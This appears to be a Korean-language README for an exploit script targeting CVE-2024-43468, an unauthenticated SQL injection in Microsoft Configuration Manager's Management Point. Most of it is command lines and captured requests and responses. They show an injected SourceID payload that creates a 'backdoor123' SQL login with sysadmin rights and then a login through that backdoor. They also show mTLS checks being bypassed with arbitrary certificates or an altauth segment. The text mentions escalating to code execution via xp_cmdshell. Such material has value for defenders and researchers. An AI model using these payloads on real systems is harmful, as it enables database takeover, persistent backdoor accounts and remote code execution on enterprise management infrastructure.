
CVE-2024-43468 익스플로잇: Microsoft Configuration Manager 관리 포인트에서 인증되지 않은 SQL 인젝션으로, 임의 SQL 실행과 xp_cmdshell을 통한 sysadmin 권한 상승을 가능하게 합니다.
이 스크립트는 CVE-2024-43468 취약점을 익스플로잇합니다. 이 취약점은 인증되지 않은 공격자가 Management Point에 네트워크 접근 권한이 있을 때 사이트 데이터베이스에서 임의의 SQL 쿼리를 실행할 수 있도록 합니다.
쿼리는 MP 머신 계정 ID로 실행되며 sysadmin 역할이 부여되므로, SQL 인젝션을 (예: xp_cmdshell 사용) 원격 코드 실행으로 승격시키는 것은 간단합니다.
KB29166583이 누락된 경우, 다음의 모든 Microsoft Configuration Manager 버전이 취약합니다:
자세한 내용은 https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections 에서 제공되는 관련 권고를 참조하십시오.
--altauth 스위치를 사용하십시오 (자세한 정보는 여기)$ python3 CVE-2024-43468.py --help
usage: CVE-2024-43468.py [-h] -t TARGET -sql SQL [-machineid MACHINEID] -k KEY -c CERT
SCCM LocationMgr (MP_Location) 인증되지 않은 SQL 인젝션 - CVE-2024-43468
options:
-h, --help 도움말 메시지를 표시하고 종료
-t TARGET, --target TARGET
대상 (http[s]://sccm-mp.local/)
-sql SQL MachineID SQL 인젝션을 통해 실행할 쿼리 (예: create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )
-machineid MACHINEID ContentID를 통한 두 번째 SQL 인젝션에 사용할 유효한 MachineID
-k KEY, --key KEY 상호 TLS를 위한 개인 키 파일
-c CERT, --cert CERT 상호 TLS를 위한 인증서 파일
$ python3 CVE-2024-43468.py -t http://sccm.local -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="556" Offset="0" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{00000000-0000-0000-0000-000000000000}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]MP_LocationManager</TargetAddress><TargetEndpoint>MP_LocationManager</TargetEndpoint><TargetHost>http://sccm.local</TargetHost><Timeout>60000</Timeout><SourceID>GUID:3b47a05a-db2e-40ef-8c77-cf29dac2ca1e'; create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin' ; select '1 </SourceID></Msg>
>>>> Request <<<<<
<UpdateSFRequest><Package ID="UID:060cb19a-4dde-4c6a-b08b-7fee96c4824b" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
$ mssqlclient.py -debug './backdoor123:P@sswOrd1'@sccm-db.local
SQL (backdoor123 dbo@master)> use CM_ABC
SQL (backdoor123 dbo@CM_ABC)> select Name0 from v_R_System
Name0
------
DC
$ python3 CVE-2024-43468.py -t https://sccm.local -sql "..."
[...]
>>>> Response : 403 Client certificate required <<<<<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
$ python3 CVE-2024-43468.py -k any_client1.key -c any_client1.pem -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
altauth 세그먼트로 mTLS 인증 우회 (자세한 정보는 여기)
$ python3 CVE-2024-43468.py --altauth -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--